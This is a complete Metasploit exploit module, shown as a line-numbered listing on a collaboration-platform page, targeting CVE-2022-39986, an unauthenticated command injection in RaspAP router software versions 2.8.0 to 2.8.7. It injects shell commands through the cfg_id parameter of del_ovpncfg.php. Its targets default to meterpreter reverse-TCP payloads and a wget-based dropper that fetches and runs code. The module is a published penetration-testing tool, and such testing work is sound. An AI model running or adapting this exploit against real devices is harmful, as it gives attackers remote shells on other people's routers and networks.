Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::CmdStager
11
  prepend Msf::Exploit::Remote::AutoCheck
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => 'RaspAP Unauthenticated Command Injection',
18
        'Description' => %q{
19
          RaspAP is feature-rich wireless router software that just works
20
          on many popular Debian-based devices, including the Raspberry Pi.
21
          A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows
22
          unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id
23
          parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.
24

25
          Successfully tested against RaspAP 2.8.0 and 2.8.7.
26
        },
27
        'License' => MSF_LICENSE,
28
        'Author' => [
29
          'Ege BALCI <egebalci[at]pm.me>', # msf module
30
          'Ismael0x00', # original PoC, analysis
31
        ],
32
        'References' => [
33
          ['CVE', '2022-39986'],
34
          ['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],
35
          ['URL', 'https://github.com/advisories/GHSA-7c28-wg7r-pg6f']
36
        ],
37
        'Platform' => ['unix', 'linux'],
38
        'Privileged' => false,
39
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
40
        'Targets' => [
41
          [
42
            'Unix Command',
43
            {
44
              'Platform' => 'unix',
45
              'Arch' => ARCH_CMD,
46
              'Type' => :unix_cmd,
47
              'DefaultOptions' => {
48
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
49
              }
50
            }
51
          ],
52
          [
53
            'Linux Dropper',
54
            {
55
              'Platform' => 'linux',
56
              'Arch' => [ARCH_X86, ARCH_X64],
57
              'Type' => :linux_dropper,
58
              'CmdStagerFlavor' => :wget,
59
              'DefaultOptions' => {
60
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
61
              }
62
            }
63
          ]
64
        ],
65
        'DisclosureDate' => '2023-07-31',
66
        'DefaultTarget' => 0,
67
        'Notes' => {
68
          'Stability' => [CRASH_SAFE],
69
          'Reliability' => [REPEATABLE_SESSION],
70
          'SideEffects' => []
71
        }
72
      )
73
    )
74
    register_options(
75
      [
76
        Opt::RPORT(80),
77
        OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])
78
      ]
79
    )
80
  end
81

82
  def check
83
    res = send_request_cgi(
84
      'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
85
      'method' => 'POST'
86
    )
87
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
88

89
    if res.code == 200
90
      return CheckCode::Appears
91
    end
92

93
    CheckCode::Safe
94
  end
95

96
  def execute_command(cmd, _opts = {})
97
    send_request_cgi(
98
      'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),
99
      'method' => 'POST',
100
      'vars_post' => {
101
        'cfg_id' => ";#{cmd};#"
102
      }
103
    )
104
  end
105

106
  def exploit
107
    case target['Type']
108
    when :unix_cmd
109
      print_status("Executing #{target.name} with #{payload.encoded}")
110
      execute_command(payload.encoded)
111
    when :linux_dropper
112
      print_status("Executing #{target.name}")
113
      execute_cmdstager
114
    end
115
  end
116
end
117

118